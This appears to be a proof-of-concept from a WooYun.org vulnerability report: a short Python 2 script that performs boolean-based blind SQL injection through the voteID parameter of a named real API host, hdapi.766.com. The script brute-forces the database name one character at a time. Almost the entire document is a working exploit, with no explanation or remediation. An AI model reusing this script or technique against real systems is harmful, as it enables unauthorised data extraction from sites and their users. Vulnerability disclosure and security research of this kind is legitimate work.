WooYun.org

import time
from urllib import *
payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')   
database = ''
for i in range(1,20):
    before = database
    for payload in payloads:
        voteid="173 and ord(mid(database(),%s,1))=%s" % (i,ord(payload))
        f = urlopen("http://hdapi.766.com/vote2Port/voteItem?callback=jQuery17203401052904727906_1425695718028&voteID="+voteid+
        "&guestKey=f8eb307983de013e21b6828dda5b149d&t=0.03819525865412032&_=1425695718109")
        s = f.read()
        if s.find('wrong',0,len(s))==-1:   
            database += payload
            print 'database is ', database
            time.sleep(0.01)
            break
    if before == database:
        break
print ''
print 'database is ', database